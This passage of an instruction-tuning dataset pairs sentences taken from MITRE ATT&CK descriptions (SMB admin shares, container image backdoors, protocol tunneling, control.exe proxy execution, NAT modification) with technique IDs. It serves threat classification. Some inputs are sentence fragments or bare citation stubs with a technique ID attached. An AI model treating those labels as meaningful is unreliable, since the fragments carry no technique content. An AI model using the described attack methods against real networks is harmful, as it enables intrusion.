macOS implementations of SMB typically use Samba. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example network shares include `C$`, `ADMIN$`, and `IPC$`.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example network shares include `C$`, `ADMIN$`, and `IPC$`. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation:", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Admin Shares)", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Admin Shares) ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment.", "output": "T1525", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. ### Response: T1525."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Amazon Web Services (AWS)", "output": "T1525", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Amazon Web Services (AWS) ### Response: T1525."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored.", "output": "T1525", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. ### Response: T1525."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment.", "output": "T1525", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. ### Response: T1525."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", "output": "T1525", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) ### Response: T1525."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A tool has been developed to facilitate planting backdoors in cloud container images.(Citation:", "output": "T1525", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: ### Response: T1525."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rhino Labs Cloud Backdoor September 2019)", "output": "T1525", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rhino Labs Cloud Backdoor September 2019) ### Response: T1525."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", "output": "T1525", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) ### Response: T1525."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems.", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tunneling involves explicitly encapsulating a protocol within another.", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tunneling involves explicitly encapsulating a protocol within another. ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN).", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are various means to encapsulate a protocol within another protocol.", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are various means to encapsulate a protocol within another protocol. ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568).", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure.", "output": "T1572", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ### Response: T1572."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", "output": "T1218", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) ### Response: T1218."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse control.exe to proxy execution of malicious payloads.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse control.exe to proxy execution of malicious payloads. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code>", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TrendMicro CPL Malware Jan 2014)(Citation:", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TrendMicro CPL Malware Jan 2014)(Citation: ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation:", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017)", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed.", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)", "output": "T1218.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020) ### Response: T1218.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001).", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021)", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", "output": "T1599", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments. ### Response: T1599."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some network designs require NAT for the packets to cross the border device.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some network designs require NAT for the packets to cross the border device. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918) ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities", "output": "T1599.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities ### Response: T1599.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control.", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "output": "T1608", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). ### Response: T1608."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Capabilities may also be staged on web services, such as GitHub or Pastebin, or 